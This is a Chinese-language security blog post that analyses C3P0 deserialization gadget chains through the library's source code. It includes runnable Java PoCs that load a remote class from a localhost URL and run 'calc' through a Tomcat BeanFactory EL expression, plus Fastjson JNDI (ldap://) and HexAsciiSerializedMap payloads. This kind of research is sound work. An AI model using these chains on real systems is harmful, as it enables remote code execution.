简介
C3P0是一个开源的JDBC连接池,它实现了数据源和 JNDI 绑定,具有连接数控制、连接可靠性测试、连接泄露控制、缓存语句等功能,支持 JDBC3 规范和 JDBC2 的标准扩展。 使用它的开源项目有Hibernate、Spring等。例如在执行JDBC的增删改查的操作时,如果每一次操作都来一次打开连接,操作,关闭连接,那么创建和销毁JDBC连接的开销就太大了。为了避免频繁地创建和销毁JDBC连接,我们可以通过连接池(Connection Pool)复用已经创建好的连接。
测试环境
java version “1.8.0_111”
pom.xml
代码语言:javascript复制<dependencies>
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
</dependencies>
利用链
URLClassLoader利用链
PoolBackedDataSource在序列化时可以序列化入一个任意Reference类,在PoolBackedDataSource反序列化时该Reference类中指定的对象会被URLClassLoader远程加载实例化。
代码语言:javascript复制* java.lang.Class->forName()
* com.mchange.v2.naming.ReferenceableUtils->referenceToObject()
* com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
* com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject
跟进PoolBackedDataSourceBase#readObject()
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
short version = ois.readShort();
switch (version) {
case 1:
Object o = ois.readObject();
if (o instanceof IndirectlySerialized) {
o = ((IndirectlySerialized)o).getObject();
}
this.connectionPoolDataSource = (ConnectionPoolDataSource)o;
this.dataSourceName = (String)ois.readObject();
o = ois.readObject();
if (o instanceof IndirectlySerialized) {
o = ((IndirectlySerialized)o).getObject();
}
this.extensions = (Map)o;
this.factoryClassLocation = (String)ois.readObject();
this.identityToken = (String)ois.readObject();
this.numHelperThreads = ois.readInt();
this.pcs = new PropertyChangeSupport(this);
this.vcs = new VetoableChangeSupport(this);
return;
default:
throw new IOException("Unsupported Serialized Version: " version);
}
}
首先验证了版本号,然后获取反序列化得到的对象,并判断是否实现了IndirectlySerialized
接口,如果实现了该接口就调用对象的getObject方法,查看PoolBackedDataSourceBase#writeObject()
private void writeObject(ObjectOutputStream oos) throws IOException {
oos.writeShort(1);
ReferenceIndirector indirector;
try {
SerializableUtils.toByteArray(this.connectionPoolDataSource);
oos.writeObject(this.connectionPoolDataSource);
} catch (NotSerializableException var9) {
MLog.getLogger(this.getClass()).log(MLevel.FINE, "Direct serialization provoked a NotSerializableException! Trying indirect.", var9);
try {
indirector = new ReferenceIndirector();
oos.writeObject(indirector.indirectForm(this.connectionPoolDataSource));
} catch (IOException var7) {
throw var7;
} catch (Exception var8) {
throw new IOException("Problem indirectly serializing connectionPoolDataSource: " var8.toString());
}
}
oos.writeObject(this.dataSourceName);
try {
SerializableUtils.toByteArray(this.extensions);
oos.writeObject(this.extensions);
} catch (NotSerializableException var6) {
MLog.getLogger(this.getClass()).log(MLevel.FINE, "Direct serialization provoked a NotSerializableException! Trying indirect.", var6);
try {
indirector = new ReferenceIndirector();
oos.writeObject(indirector.indirectForm(this.extensions));
} catch (IOException var4) {
throw var4;
} catch (Exception var5) {
throw new IOException("Problem indirectly serializing extensions: " var5.toString());
}
}
oos.writeObject(this.factoryClassLocation);
oos.writeObject(this.identityToken);
oos.writeInt(this.numHelperThreads);
}
可以发现它会尝试将connectionPoolDataSource属性序列化,如果发生错误便会在catch块中对connectionPoolDataSource属性用ReferenceIndirector.indirectForm
方法处理后再进行序列化操作。跟进indirectForm方法
public IndirectlySerialized indirectForm(Object var1) throws Exception {
Reference var2 = ((Referenceable)var1).getReference();
return new ReferenceSerialized(var2, this.name, this.contextName, this.environmentProperties);
}
此方法会调用connectionPoolDataSource属性的getReference方法,并用返回结果作为参数实例化一个ReferenceSerialized对象,然后将该对象返回,也就是序列化的是ReferenceSerialized对象
而ReferenceSerialized实现了IndirectlySerialized接口,如果ReferenceSerialized被序列化到了序列流中,那么这里调用可以是ReferenceSerialized#getObject
public Object getObject() throws ClassNotFoundException, IOException {
try {
InitialContext var1;
if (this.env == null) {
var1 = new InitialContext();
} else {
var1 = new InitialContext(this.env);
}
Context var2 = null;
if (this.contextName != null) {
var2 = (Context)var1.lookup(this.contextName);
}
return ReferenceableUtils.referenceToObject(this.reference, this.name, var2, this.env);
} catch (NamingException var3) {
if (ReferenceIndirector.logger.isLoggable(MLevel.WARNING)) {
ReferenceIndirector.logger.log(MLevel.WARNING, "Failed to acquire the Context necessary to lookup an Object.", var3);
}
throw new InvalidObjectException("Failed to acquire the Context necessary to lookup an Object: " var3.toString());
}
可以发现这里可以调用ReferenceableUtils#referenceToObject()
这个静态方法
public static Object referenceToObject(Reference var0, Name var1, Context var2, Hashtable var3) throws NamingException {
try {
String var4 = var0.getFactoryClassName();
String var11 = var0.getFactoryClassLocation();
ClassLoader var6 = Thread.currentThread().getContextClassLoader();
if (var6 == null) {
var6 = ReferenceableUtils.class.getClassLoader();
}
Object var7;
if (var11 == null) {
var7 = var6;
} else {
URL var8 = new URL(var11);
var7 = new URLClassLoader(new URL[]{var8}, var6);
}
Class var12 = Class.forName(var4, true, (ClassLoader)var7);
ObjectFactory var9 = (ObjectFactory)var12.newInstance();
return var9.getObjectInstance(var0, var1, var2, var3);
} catch (Exception var10) {
if (logger.isLoggable(MLevel.FINE)) {
logger.log(MLevel.FINE, "Could not resolve Reference to Object!", var10);
}
NamingException var5 = new NamingException("Could not resolve Reference to Object!");
var5.setRootCause(var10);
throw var5;
}
}
这里Reference var0
在序列化过程中是可控的,那么就可以构造通过URLClassLoader实例化远程类,造成任意代码执行了。不过这里Class.forName(String name, boolean initialize, ClassLoader loader)
中initialize的值为true,也就是会初始化类,恶意代码写在静态代码块就会自动执行。因此有没有newInstance()
这里都能触发漏洞
PoC
代码语言:javascript复制import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.Base64;
import java.util.logging.Logger;
public class URLClassLoaderTest {
private static class ConnectionPool implements ConnectionPoolDataSource , Referenceable{
protected String classFactory = null;
protected String classFactoryLocation = null;
public ConnectionPool(String classFactory,String classFactoryLocation){
this.classFactory = classFactory;
this.classFactoryLocation = classFactoryLocation;
}
@Override
public Reference getReference() throws NamingException {return new Reference("ref",classFactory,classFactoryLocation);}
@Override
public PooledConnection getPooledConnection() throws SQLException {return null;}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {return null;}
@Override
public PrintWriter getLogWriter() throws SQLException {return null;}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {}
@Override
public void setLoginTimeout(int seconds) throws SQLException {}
@Override
public int getLoginTimeout() throws SQLException {return 0;}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {return null;}
}
public static void main(String[] args) throws Exception{
Constructor constructor = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase").getDeclaredConstructor();
constructor.setAccessible(true);
PoolBackedDataSourceBase obj = (PoolBackedDataSourceBase) constructor.newInstance();
ConnectionPool connectionPool = new ConnectionPool("Main","http://127.0.0.1:8000/");
Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(obj, connectionPool);
//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
//反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}
不出网利用
和URLClassLoader利用链的调用链一样,只是最后不通过URLClassLoader加载远程字节码实例化远程类了
代码语言:javascript复制public static Object referenceToObject(Reference var0, Name var1, Context var2, Hashtable var3) throws NamingException {
try {
String var4 = var0.getFactoryClassName();
String var11 = var0.getFactoryClassLocation();
ClassLoader var6 = Thread.currentThread().getContextClassLoader();
if (var6 == null) {
var6 = ReferenceableUtils.class.getClassLoader();
}
Object var7;
if (var11 == null) {
var7 = var6;
} else {
URL var8 = new URL(var11);
var7 = new URLClassLoader(new URL[]{var8}, var6);
}
Class var12 = Class.forName(var4, true, (ClassLoader)var7);
ObjectFactory var9 = (ObjectFactory)var12.newInstance();
return var9.getObjectInstance(var0, var1, var2, var3);
} catch (Exception var10) {
if (logger.isLoggable(MLevel.FINE)) {
logger.log(MLevel.FINE, "Could not resolve Reference to Object!", var10);
}
NamingException var5 = new NamingException("Could not resolve Reference to Object!");
var5.setRootCause(var10);
throw var5;
}
}
可以看到如果String var11 = var0.getFactoryClassLocation();
这里返回为null的时候就直接加载本地字节码。
这里就和 JNDI 注入异曲同工了
JNDI注入中,目标代码中调用了InitialContext.lookup(URI),且URI为可控;攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类;目标在进行lookup()操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例; 攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到RCE的效果;
如果不使用URLClassLoader
加载类的话,就需要加载并实例化本地实现了javax.naming.spi.ObjectFactory
接口的类,并调用getObjectInstance
方法。在 JNDI 注入高版本限制绕过中,也不能加载远程字节码,这里可以利用它的绕过方法进行C3P0链的不出网利用
org.apache.naming.factory.BeanFactory 满足条件并且存在被利用的可能。BeanFactory 存在于Tomcat依赖包中,所以使用也是非常广泛
代码语言:javascript复制import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.*;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.Base64;
import java.util.logging.Logger;
import org.apache.naming.ResourceRef;
public class BeanFactoryTest {
private static final class ConnectionPool implements ConnectionPoolDataSource, Referenceable {
private String className;
private String url;
public ConnectionPool ( String className, String url ) {
this.className = className;
this.url = url;
}
public Reference getReference () throws NamingException {
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
String cmd = "calc";
ref.add(new StringRefAddr("x", """.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','" cmd "']).start()")"));
return ref;
}
public PrintWriter getLogWriter () throws SQLException {return null;}
public void setLogWriter ( PrintWriter out ) throws SQLException {}
public void setLoginTimeout ( int seconds ) throws SQLException {}
public int getLoginTimeout () throws SQLException {return 0;}
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
}
public static void main(String[] args) throws Exception{
Constructor constructor = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase").getDeclaredConstructor();
constructor.setAccessible(true);
PoolBackedDataSourceBase obj = (PoolBackedDataSourceBase) constructor.newInstance();
ConnectionPool connectionPool = new ConnectionPool("org.apache.naming.factory.BeanFactory",null);
Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(obj, connectionPool);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
objectOutputStream.close();
System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));
ByteArrayInputStream bais = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}
基于Fastjson进行JNDI注入
触发点在com.mchange.v2.c3p0.JndiRefForwardingDataSource#dereference()
private DataSource dereference() throws SQLException {
Object jndiName = this.getJndiName();
Hashtable jndiEnv = this.getJndiEnv();
try {
InitialContext ctx;
if (jndiEnv != null) {
ctx = new InitialContext(jndiEnv);
} else {
ctx = new InitialContext();
}
if (jndiName instanceof String) {
return (DataSource)ctx.lookup((String)jndiName);
} else if (jndiName instanceof Name) {
return (DataSource)ctx.lookup((Name)jndiName);
} else {
throw new SQLException("Could not find ConnectionPoolDataSource with JNDI name: " jndiName);
}
} catch (NamingException var4) {
if (logger.isLoggable(MLevel.WARNING)) {
logger.log(MLevel.WARNING, "An Exception occurred while trying to look up a target DataSource via JNDI!", var4);
}
throw SqlUtils.toSQLException(var4);
}
}
com.mchange.v2.c3p0.JndiRefForwardingDataSource#inner()
调用了 dereference() 方法
private synchronized DataSource inner() throws SQLException {
if (this.cachedInner != null) {
return this.cachedInner;
} else {
DataSource out = this.dereference();
if (this.isCaching()) {
this.cachedInner = out;
}
return out;
}
}
而 setLogWriter 和 setLoginTimeout 两个 setter 方法调用了 inner() 方法
代码语言:javascript复制public void setLogWriter(PrintWriter out) throws SQLException {
this.inner().setLogWriter(out);
}
// ...
public void setLoginTimeout(int seconds) throws SQLException {
this.inner().setLoginTimeout(seconds);
}
这就符合了fastjson的利用条件,那么可以用工具起一个LDAP server恶意利用
代码语言:javascript复制{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName":"ldap://127.0.0.1:1389/calc", "loginTimeout":0}
基于Fastjson的反序列化
fastjson < 1.2.47
链子开头是com.mchange.v2.c3p0.WrapperConnectionPoolDataSource#setUpPropertyListeners()
这个setter方法
private void setUpPropertyListeners() {
VetoableChangeListener setConnectionTesterListener = new VetoableChangeListener() {
public void vetoableChange(PropertyChangeEvent evt) throws PropertyVetoException {
String propName = evt.getPropertyName();
Object val = evt.getNewValue();
if ("connectionTesterClassName".equals(propName)) {
try {
WrapperConnectionPoolDataSource.this.recreateConnectionTester((String)val);
} catch (Exception var5) {
if (WrapperConnectionPoolDataSource.logger.isLoggable(MLevel.WARNING)) {
WrapperConnectionPoolDataSource.logger.log(MLevel.WARNING, "Failed to create ConnectionTester of class " val, var5);
}
throw new PropertyVetoException("Could not instantiate connection tester class with name '" val "'.", evt);
}
} else if ("userOverridesAsString".equals(propName)) {
try {
WrapperConnectionPoolDataSource.this.userOverrides = C3P0ImplUtils.parseUserOverridesAsString((String)val);
} catch (Exception var6) {
if (WrapperConnectionPoolDataSource.logger.isLoggable(MLevel.WARNING)) {
WrapperConnectionPoolDataSource.logger.log(MLevel.WARNING, "Failed to parse stringified userOverrides. " val, var6);
}
throw new PropertyVetoException("Failed to parse stringified userOverrides. " val, evt);
}
}
}
};
this.addVetoableChangeListener(setConnectionTesterListener);
}
这个setter方法里调用了C3P0ImplUtils.parseUserOverridesAsString()
方法
public static Map parseUserOverridesAsString(String userOverridesAsString) throws IOException, ClassNotFoundException {
if (userOverridesAsString != null) {
String hexAscii = userOverridesAsString.substring("HexAsciiSerializedMap".length() 1, userOverridesAsString.length() - 1);
byte[] serBytes = ByteUtils.fromHexAscii(hexAscii);
return Collections.unmodifiableMap((Map)SerializableUtils.fromByteArray(serBytes));
} else {
return Collections.EMPTY_MAP;
}
}
这里用substring()
对传入的userOverridesAsString进行字符截取,然后调用fromHexAscii()
public static Object fromByteArray(byte[] var0) throws IOException, ClassNotFoundException {
Object var1 = deserializeFromByteArray(var0);
return var1 instanceof IndirectlySerialized ? ((IndirectlySerialized)var1).getObject() : var1;
}
// ...
/** @deprecated */
public static Object deserializeFromByteArray(byte[] var0) throws IOException, ClassNotFoundException {
ObjectInputStream var1 = new ObjectInputStream(new ByteArrayInputStream(var0));
return var1.readObject();
}
这里就可以调用反序列化了
代码语言:javascript复制{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:<payload>;"}}";
本文采用CC-BY-SA-3.0协议,转载请注明出处 Author: ph0ebus